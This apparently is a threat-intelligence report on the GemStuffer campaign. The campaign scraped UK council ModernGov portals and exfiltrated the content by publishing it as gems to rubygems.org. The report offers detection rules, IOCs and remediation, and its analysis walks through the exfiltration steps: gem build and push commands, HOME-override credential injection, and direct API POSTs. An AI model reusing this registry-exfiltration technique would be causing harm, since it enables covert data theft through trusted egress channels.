Skip to navigation

Threat reportSupply ChainTL-2026-0505

GemStuffer Campaign — RubyGems Registry Abused as Exfiltration Channel for UK Local Government Data

highMONITORING

Socket's Threat Research Team is tracking GemStuffer, a coordinated registry-abuse campaign that uses the RubyGems package registry as a public data-transport layer. Scripts (payload.rb, script.rb, evil.rb, hack.rb, etc.) scrape ModernGov democratic-services portals for Lambeth, Wandsworth and Southwark councils, embed the HTTP responses inside valid .gem archives, and publish those gems back to rubygems.org using hardcoded API keys.

Key facts

IdentifiersTL-2026-0505
Also known asGemStuffer, GemStuffer Campaign, RubyGems Spam-Publishing Campaign (May 2026)
SeverityHIGH
Affected productsRuby Central RubyGems.org public registry; London Borough of Lambeth ModernGov Democratic Services Portal (moderngov.lambeth.gov.uk); London Borough of Wandsworth ModernGov Democratic Services Portal (democracy.wandsworth.gov.uk); London Borough of Southwark ModernGov Democratic Services Portal (moderngov.southwark.gov.uk)
Weaknesses (CWE)CWE-829, CWE-506, CWE-798, CWE-200, CWE-494, CWE-602
AttributionGemStuffer (low confidence)
MITRE ATT&CK techniquesT1020 Automated Exfiltration, T1027.009 Obfuscated Files or Information: Embedded Payloads, T1030 Data Transfer Size Limits, T1033 System Owner/User Discovery, T1036.005 Masquerading: Match Legitimate Resource Name or Location, T1048.002 Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol, T1059 Command and Scripting Interpreter, T1071.001 Application Layer Protocol: Web Protocols, T1074.001 Data Staged: Local Data Staging, T1082 System Information Discovery, T1083 File and Directory Discovery, T1102.002 Web Service: Bidirectional Communication and 18 more in the attack flow
MotivationUNKNOWN
Target sectorsgovernment, local-government, public-sector, software-supply-chain
Target regionsUnited Kingdom, Europe
Detection rules9 (1 shown free)
Sources8 cited sources

Detection coverage

As of 2026-05-13, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0505 across Splunk SPL, Microsoft KQL and Sigma, covering 43 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: GemStuffer Gem Push and Direct-API Exfiltration to RubyGems.org — C2/Exfil Phase

Detects the exfiltration leg of the GemStuffer chain: outbound HTTPS POST to rubygems.org/api/v1/gems carrying a Content-Type: application/octet-stream body, originating from a host that is not an authorized publisher. Three observed delivery variants: (1) shell-out `gem push <name>.gem --host https://rubygems.org` with a fabricated HOME, (2) shell-out `gem build x.gemspec` followed by gem push, (3) direct-API Net::HTTP::Post from a Ruby process bypassing the gem binary entirely. SPL joins process telemetry (gem.cmd / ruby.exe) with proxy or zeek HTTPS logs to rubygems.org from the same host within a 5-minute window, and filters out hosts in the authorized-publisher allowlist (`publisher_hosts` lookup).

  • Languages: Splunk SPL, Microsoft KQL, Sigma
  • ATT&CK: T1567.001, T1567, T1071.001, T1102.002, T1020, T1048.002
  • Data sources: zeek, proxy_logs, tls_inspection, edr_network_events, edr_process_events, dns_logs
  • Severity: critical
  • Confidence: high

Splunk SPL

(index=zeek sourcetype=zeek:http (host="rubygems.org" OR host="www.rubygems.org") uri="/api/v1/gems" method=POST)
  OR (index=proxy sourcetype="bluecoat:proxysg:access:syslog" cs_host="rubygems.org" cs_uri_path="/api/v1/gems" cs_method=POST)
  OR (index=zeek sourcetype=zeek:ssl server_name="rubygems.org" subject="*rubygems.org*")
| eval is_octet_stream=if(match(content_type,"(?i)application/octet-stream") OR match(request_body_len,"^[1-9][0-9]{3,}$"),1,0)
| eval push_path=if(match(uri,"/api/v1/gems") AND method=="POST",1,0)
| where push_path=1 OR is_octet_stream=1
| stats values(uri) AS uris values(content_type) AS ctypes values(user_agent) AS uas sum(request_body_len) AS body_bytes count AS push_events by src_ip host cs_host
| eval client_host=coalesce(src_ip)
| lookup publisher_hosts ip AS client_host OUTPUTNEW is_publisher
| eval is_publisher=if(isnull(is_publisher),"no",is_publisher)
| where is_publisher="no"
| join type=left client_host
  [ search index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 (Image="*\\gem.cmd" OR Image="*\\gem.bat" OR CommandLine="*gem push*" OR (Image="*\\ruby.exe" CommandLine="*rubygems.org/api/v1/gems*"))
    | rename host AS client_host
    | stats values(CommandLine) AS push_cmds values(Image) AS push_imgs latest(_time) AS push_proc_time by client_host ]
| eval verdict=case(
    push_events>0 AND isnotnull(push_cmds),"HIGH — gem push + rubygems POST from non-publisher",
    push_events>0,"MEDIUM — rubygems POST from non-publisher (no process correlation)",
    isnotnull(push_cmds),"MEDIUM — gem push process on non-publisher host")
| table _time client_host uris ctypes uas body_bytes push_events push_cmds push_imgs verdict

Microsoft KQL

let PublishersAllowlist = dynamic(["RELEASE-RUNNER-01","RELEASE-RUNNER-02"]);
let RubygemsHosts = dynamic(["rubygems.org","www.rubygems.org"]);
let PushPath = "/api/v1/gems";
let PushNet = DeviceNetworkEvents
  | where Timestamp > ago(24h)
  | where RemoteUrl has_any (RubygemsHosts) or RemoteIP in ((DeviceEvents | where ActionType == "DnsQueryResponse" | where AdditionalFields has_any (RubygemsHosts) | summarize make_set(RemoteIP)))
  | where InitiatingProcessFileName !in (PublishersAllowlist)
  | project NetTime=Timestamp, DeviceId, DeviceName, RemoteUrl, RemotePort, InitiatingProcessFileName, InitiatingProcessId, InitiatingProcessCommandLine;
let PushProc = DeviceProcessEvents
  | where Timestamp > ago(24h)
  | where ProcessCommandLine has_any ("gem push", "--host https://rubygems.org", "rubygems.org/api/v1/gems", "Net::HTTP::Post")
     or (FileName in~ ("ruby.exe","rubyw.exe","ruby") and ProcessCommandLine has "application/octet-stream")
  | project ProcTime=Timestamp, DeviceId, DeviceName, ProcId=ProcessId, ProcCmd=ProcessCommandLine, ProcImg=FolderPath, ProcAccount=AccountName;
PushProc
| join kind=leftouter PushNet on DeviceId
| where NetTime between (ProcTime - 5m .. ProcTime + 10m) or isnull(NetTime)
| where DeviceName !in (PublishersAllowlist)
| summarize PushCmds=make_set(ProcCmd,5), PushUrls=make_set(RemoteUrl,5), Account=any(ProcAccount), Events=count() by DeviceName, bin(ProcTime,5m)
| extend Verdict = case(array_length(PushUrls)>0 and array_length(PushCmds)>0, "HIGH — gem push + rubygems POST from non-publisher", array_length(PushCmds)>0, "MEDIUM — gem push process from non-publisher", "LOW")
| where Verdict != "LOW"
| order by ProcTime desc

Sigma

title: GemStuffer Gem Push or Direct-API Exfiltration to RubyGems.org from Non-Publisher Host
id: 4b3a7c1e-9d62-4f0a-b1c8-3a7f6d2e1c03
status: experimental
description: Detects the exfiltration leg of GemStuffer — outbound HTTPS POST to rubygems.org/api/v1/gems from a host that is not an authorized publisher. Three variants covered, all involving uploading a .gem archive carrying scraped UK council ModernGov content as application/octet-stream. The detection is anchored on the combination of the path /api/v1/gems with POST method, the SNI rubygems.org, and an originating host not on the publisher allowlist. Tagged for T1567.001 (Exfiltration to Code Repository) and T1071.001 (Web Protocols).
references:
  - https://socket.dev/blog/gemstuffer
  - https://attack.mitre.org/techniques/T1567/001/
  - https://attack.mitre.org/techniques/T1071/001/
  - https://guides.rubygems.org/rubygems-org-api/#push-a-gem
author: Threadlinqs Team
date: 2026-05-13
tags:
  - attack.exfiltration
  - attack.t1567.001
  - attack.t1567
  - attack.command_and_control
  - attack.t1071.001
  - attack.t1102.002
  - threat.gemstuffer
logsource:
  category: proxy
  product: zeek
detection:
  selection_push:
    dst_host:
      - 'rubygems.org'
      - 'www.rubygems.org'
    uri|contains: '/api/v1/gems'
    http_method: 'POST'
  selection_octet:
    content_type|contains: 'application/octet-stream'
  filter_publishers:
    src_host:
      - 'RELEASE-RUNNER-01'
      - 'RELEASE-RUNNER-02'
  condition: selection_push and selection_octet and not filter_publishers
falsepositives:
  - Legitimate gem-publishing CI jobs running on hosts not yet added to the publisher allowlist — review and allowlist by SSH/runner ID, not by IP alone.
  - Mirror tooling that proxies pushes through unfamiliar hosts — confirm proxy identity before suppressing.
level: critical

Known false positives:

  • Authorized release runners pushing new gem versions — maintain a `publisher_hosts` lookup and exclude.
  • Internal mirrors that legitimately POST to rubygems.org during cache rehydration — allowlist by mirror identity.
  • Developer machines doing rare ad-hoc legitimate gem releases — alert as MEDIUM and review.

Tuning notes: Maintain a `publisher_hosts` lookup (Splunk) or `PublishersAllowlist` dynamic array (KQL) listing the IPs/hostnames of CI runners and developer accounts authorized to push gems. For environments without TLS inspection, fall back to DNS-or-SNI + outbound bytes signal: any host with a sustained POST-shaped flow (small request header, large request body) to rubygems.org that is not on the allowlist. Add a secondary signal looking for the Authorization header pattern `rubygems_[a-f0-9]{40,}` if the proxy logs request headers; the three known campaign API key prefixes (9feada, fb4e1b, d8e875) can be encoded as a watchlist for ultra-high-confidence alerts.

8 more detection rules (Splunk SPL, Microsoft KQL, Sigma) · unlock with TL Creds. Sign up free to unlock the detection rules or query them with the Threadlinqs MCP server (Purple)
  • GemStuffer ModernGov Council Scrape with Mozilla/5.0 Spoofed UA — Exploitation Phase (Defender XDR) · unlock with TL Creds
  • GemStuffer In-Process HOME Mutation and Octet-Stream POST Preparation — Post-Exploitation (Defender XDR) · unlock with TL Creds
  • GemStuffer Outbound Push to [indicator] with Campaign API Key Prefix Watchlist — C2/Exfil (Defender XDR) · unlock with TL Creds
  • GemStuffer Ruby Dropper Filename Pattern with OpenSSL VERIFY_NONE Egress — Exploitation Phase · unlock with TL Creds
  • GemStuffer Council-Portmanteau Staging Directory and Result Delimiter Artifacts — Post-Exploitation · unlock with TL Creds
  • GemStuffer [indicator] Push from Non-Publisher Host with Octet-Stream Body — C2/Exfiltration · unlock with TL Creds
  • GemStuffer Dropper Execution and UK Council ModernGov Scraping — Exploitation Phase · unlock with TL Creds
  • GemStuffer Fabricated RubyGems Credentials File and HOME Override — Post-Exploitation Phase · unlock with TL Creds

Indicators of compromise

As of 2026-05-13, Threadlinqs Intelligence tracks 43 indicators of compromise for TL-2026-0505.

Sample indicators (3 of 43)

  • Domain: moderngov[.]lambeth[.]gov[.]uk
  • File hash: 239440c830e17530dda0a8a06ed2708860998750a1e3ed2239e919465dc59420
  • Domain: democracy[.]wandsworth[.]gov[.]uk

Defanged, TLP:CLEAR. Full set of 43 indicators: unlock with TL Creds.

43 indicators of compromise · unlock with TL Creds. Compare plans

Technical analysis

Ruby Central confirmed 155+ malicious package artifacts and temporarily disabled new-account registration plus throttled webhooks in response.

GemStuffer is a registry-abuse campaign disclosed by Socket's Threat Research Team (Joseph Edwards) on 2026-05-13 in which the RubyGems registry is repurposed as a public data drop for HTTP responses scraped from UK local-government democratic-services portals. The campaign is distinguished from classical malicious-package attacks by its direction of data flow: rather than using a published gem to deliver malware to victim developers, the attacker uses gem publishing itself as the exfiltration primitive. Stolen content is wrapped inside a structurally valid .gem archive (a tar containing metadata.gz and data.tar.gz) and uploaded to rubygems.org, where it can later be retrieved by anyone with `gem fetch <name> -v <version>` and unpacked locally with standard tar tooling.

Attack chain. The dropper (named variably payload.rb, script.rb, evil.rb, hack.rb, yardload.rb, yard_plugin.rb, exploit.rb, extconf.rb, or fetcher.rb) is placed on a target machine by an external mechanism — the implant does not self-propagate. On execution it captures lightweight execution-context recon (Time.now, Dir.pwd, $0 script path, ARGV) and then opens Net::HTTP sessions with use_ssl: true and OpenSSL::SSL::VERIFY_NONE against three hardcoded UK council ModernGov endpoints: https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1, https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1 and https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1. A spoofed User-Agent of literal `Mozilla/5.0` (shorter than any legitimate browser banner) is used. The script then parses returned HTML for hrefs matching ieList or mgCommittee path patterns and follows ieList links to pull full agenda-item listing pages, appending each response to an output buffer with `===CAL <host>===` and `===PAGE <url>===` delimiters for later programmatic parsing.

Malicious gem staging. The implant builds a randomized staging directory at /tmp/<gemname><epoch_timestamp><pid>/ (e.g. /tmp/lambeth71b1715600000123/) and uses File.binwrite — not File.write — to drop the scraped content to lib/result.txt, avoiding Ruby's UTF-8 encoding layer raising exceptions on non-UTF-8 HTTP bodies. A stub lib/x.rb containing the single token `#x` is created to satisfy the gem layout, and a minimal x.gemspec is written declaring `s.summary='result'`, `s.authors=['x']`, `s.files=Dir['lib/**/*']`, `s.license='MIT'`. Gem names follow a `<council><suffix>` portmanteau convention (lambeth71b, agenda-sample-result, etc.). A second variant family uses Dir.mktmpdir with an OS-reclaimed block scope so the staging directory is deleted immediately after the .gem is read for the push, writes scraped content to a file named `README` (rather than lib/result.txt) which is semantically invisible inside a gem archive, and builds the spec entirely via the Ruby API (Gem::Package.build) so no .gemspec ever touches disk.

Credential injection via HOME override. The CLI-push variants fabricate a self-contained gem credential environment under /tmp/gemhome/.gem/credentials containing a hardcoded RubyGems API token in the `:<key_name>: <key_value>` format, chmod'd to 0600 (the gem CLI aborts on group/world-readable credentials, which the author handles explicitly), and override ENV['HOME']='/tmp/gemhome' for the current process only so the gem binary reads from the fabricated home. Three distinct API key prefixes were observed across the campaign — rubygems_9feada...054a57, rubygems_fb4e1b...6aec9dd and rubygems_d8e875...503a533 — a compartmentalization strategy that allows two campaign legs to keep operating if one key is revoked. A third variant family skips the gem CLI entirely: the API key is a top-level KEY constant, the script constructs a Net::HTTP::Post against https://rubygems.org/api/v1/gems with `Authorization: <api_key>` and `Content-Type: application/octet-stream`, and POSTs the raw .gem bytes (File.binread) directly. This direct-API variant removes every external process dependency — no gem binary, no credentials file, no HOME redirect — running the entire exfil pipeline inside a single Ruby stdlib process.

Exfiltration and retrieval. The CLI-driven variants shell out via backticks to `gem build x.gemspec` and `gem push <name>.gem --host https://rubygems.org`, capturing stdout/stderr to #{root}/log under a `rescue nil` so even the local log is silently dropped on failure. Network signature is a single outbound TLS POST to rubygems.org:443 carrying an octet-stream binary body — indistinguishable on the wire from a legitimate developer release. Standard egress DLP inspecting for plaintext keywords sees nothing: the stolen data is gzip-compressed inside a tar archive inside TLS. Retrieval requires only the gem name and version: `gem fetch <name> -v <ver>`, then `tar xf <name>-<ver>.gem data.tar.gz`, then `tar xzf data.tar.gz ./lib/result.txt` (or ./README in the mktmpdir variant) yields the scraped content delimited by the `===CAL` / `===PAGE` markers.

Registry response and scope. Ruby Central (Marty Haught) confirmed a coordinated spam-publishing campaign limited to newly-registered accounts publishing junk packages; no existing packages were compromised and existing accounts/installs are unaffected. RubyGems temporarily disabled new-account registration and throttled webhooks while improving spammer detection; the rubygems.org signup page currently reflects the registration freeze. Socket is tracking 155 package artifacts (packages and versions) tied to the GemStuffer cluster, many with little or no download activity — consistent with the registry being used as a data-drop rather than for developer compromise.

Classification and significance. The campaign defies clean classification: it may be registry spam, a proof-of-concept worm, an automated scraper opportunistically using RubyGems as cheap storage, or a deliberate red-team-style demonstration of package-registry abuse. The targeted material (council calendars, agenda listings, committee links) is nominally public, but the systematic bulk archival of UK local-government content using a developer-trusted destination is the technique that matters. Package registries are commonly trusted egress endpoints in developer and CI environments; publishing a package looks indistinguishable from normal release activity to most network monitoring. GemStuffer demonstrates the generalizable pattern: scrape, wrap, push, retrieve — a TTP applicable to any public package registry (npm, PyPI, NuGet, Crates) and any target whose data fits inside a package archive.

MITRE ATT&CK techniques by tactic:

Exfiltration

T1020 Automated Exfiltration; T1030 Data Transfer Size Limits; T1048.002 Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol; T1567 Exfiltration Over Web Service; T1567.001 Exfiltration Over Web Service: Exfiltration to Code Repository

Defense Evasion

T1027.009 Obfuscated Files or Information: Embedded Payloads; T1036.005 Masquerading: Match Legitimate Resource Name or Location; T1564.001 Hide Artifacts: Hidden Files and Directories

Discovery

T1033 System Owner/User Discovery; T1082 System Information Discovery; T1083 File and Directory Discovery

Execution

T1059 Command and Scripting Interpreter; T1204.002 User Execution: Malicious File

Command and Control

T1071.001 Application Layer Protocol: Web Protocols; T1102.002 Web Service: Bidirectional Communication; T1105 Ingress Tool Transfer; T1573.002 Encrypted Channel: Asymmetric Cryptography

Collection

T1074.001 Data Staged: Local Data Staging; T1119 Automated Collection; T1213 Data from Information Repositories; T1560.002 Archive Collected Data: Archive via Library

Initial Access

T1195.002 Supply Chain Compromise: Compromise Software Supply Chain

Credential Access

T1552.001 Unsecured Credentials: Credentials In Files

defense-impairment

T1556 Modify Authentication Process; T1685 Disable or Modify Tools

Resource Development

T1583.006 Acquire Infrastructure: Web Services; T1585.003 Establish Accounts: Cloud Accounts; T1587.001 Develop Capabilities: Malware

Reconnaissance

T1589 Gather Victim Identity Information; T1595 Active Scanning

Remediation

Patches

  • No software patch — this is a TTP and credential-misuse campaign, not a CVE.
  • Ruby Central operational response: new-account registration temporarily disabled on rubygems.org; webhooks throttled while spammer-detection improvements roll out.

Immediate actions

  • Yank all identified GemStuffer gem packages via `gem yank <name> -v <version>` for each confirmed package name; file a rubygems.org abuse report requesting emergency removal of the full set (yanked gems may still be cached by mirrors).
  • Revoke all three known campaign RubyGems API key prefixes (rubygems_9feada...054a57, rubygems_fb4e1b...6aec9dd, rubygems_d8e875...503a533) and rotate any tokens belonging to newly-registered accounts in your tenant.
  • Search /tmp on all potentially affected Ruby hosts for lambeth71b*, rubydocran_*, /tmp/gemhome/ and any directory matching /tmp/[a-z]+[0-9]+[a-z]+[0-9]{10}[0-9]+/. Forensically image hits before deletion.
  • Hunt for the dropper filenames (payload.rb, script.rb, evil.rb, hack.rb, yardload.rb, yard_plugin.rb, exploit.rb, extconf.rb, fetcher.rb) anywhere outside expected source repositories; correlate with .bundlerc, Gemfile, config/application.rb, gem post-install hooks, CI pipeline definitions and dotfile repositories.
  • Block outbound HTTPS POST to rubygems.org/api/v1/gems on CI pipelines and developer hosts that do not legitimately publish gems.

Workarounds

  • Configure `bundle config` and `gem` to publish only via a private internal registry; require explicit `--host` overrides to be approved in CI.
  • Restrict outbound DNS/SNI for rubygems.org to dedicated publishing hosts; force developer/CI fetch traffic through a proxy that does not allow POST to /api/v1/gems.
  • Apply egress filtering on /tmp-resident Ruby processes: deny outbound 443 from any Ruby process whose HOME points to /tmp.

Longer-term hardening

  • Allowlist gem names publishable from each CI/CD pipeline; deny-by-default for any host that should not push to rubygems.org.
  • Deploy runtime EDR/eBPF (Falco) rules that alert on ENV['HOME'] mutation to /tmp paths inside Ruby processes — this is abnormal in legitimate applications and high-signal for HOME-override credential injection.
  • Egress-monitor for outbound TLS to rubygems.org:443 from hosts that are not authorized publishers; baseline normal release activity by gem name and account, alert on deviations.
  • Subscribe to Socket package-monitoring or equivalent supply-chain detection to receive alerts on newly-published packages whose names match council/government tokens (or other organization-specific identifiers).
  • Adopt RubyGems trusted-publisher / OIDC publishing for legitimate gems so password-based or static-API-key publishing can be disabled at the account level.

Affected and fixed versions

  • Ruby Central — RubyGems.org public registry
    Vulnerable versions: registry instance as of 2026-05-13 (newly-registered account publishing path)
  • London Borough of Lambeth — ModernGov Democratic Services Portal (moderngov.lambeth.gov.uk)
    Vulnerable versions: public ModernGov instance
  • London Borough of Wandsworth — ModernGov Democratic Services Portal (democracy.wandsworth.gov.uk)
    Vulnerable versions: public ModernGov instance
  • London Borough of Southwark — ModernGov Democratic Services Portal (moderngov.southwark.gov.uk)
    Vulnerable versions: public ModernGov instance

Timeline

  • Hardcoded ModernGov calendar URLs target M=1&Y=2026 (January 2026) — earliest plausible start of scraping window based on URL parameters embedded in droppers.
  • Socket publishes parallel research on a separate RubyGems/Go module campaign (BufferZoneCorp), establishing concurrent registry-abuse activity in the Ruby ecosystem.
  • Socket discloses TanStack npm package compromise (Mini Shai-Hulud), highlighting an industry-wide pattern of registry abuse in the same week.
  • Threadlinqs Intelligence opens TL-2026-0505 to track the GemStuffer campaign with full MITRE mapping, detection coverage and atomic simulation tasking.
  • Socket publishes IOC bundle: SHA-256 hashes for locked-ioc-21 and locked-ioc-25, dropper filename indicators, three target ModernGov endpoints, three RubyGems API key prefixes, and /tmp filesystem artifact patterns.
  • Ruby Central (Marty Haught) confirms a coordinated spam-publishing campaign limited to newly-registered accounts and announces that locked-ioc-19 has temporarily disabled new account registration and throttled webhooks while spammer-detection improvements are deployed.
  • Socket Threat Research Team (Joseph Edwards) publishes the GemStuffer campaign analysis, naming the cluster and documenting 155 package artifacts, three API key prefixes, and the full scrape-package-push exfiltration chain.
  • As of 2026-05-29, the GemStuffer campaign is neutralized: RubyGems blocked the bot accounts, yanked all 500+ malicious gems, deployed Fastly WAF protection, and declared the incident resolved by 2026-05-16 with registrations re-enabled. The unattributed operator was never identified and the scrape-wrap-push registry-abuse TTP stays viable elsewhere, so it warrants monitoring rather than full closure.

Sources cited

Previous and next in supply chain

Further reading

Drafted by the Threadlinqs research pipeline from 8 sources; published ; last updated —.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

// threat_feed
$ sort --newest
Showing all threats

Live intelligence console

Threat level

Latest Threats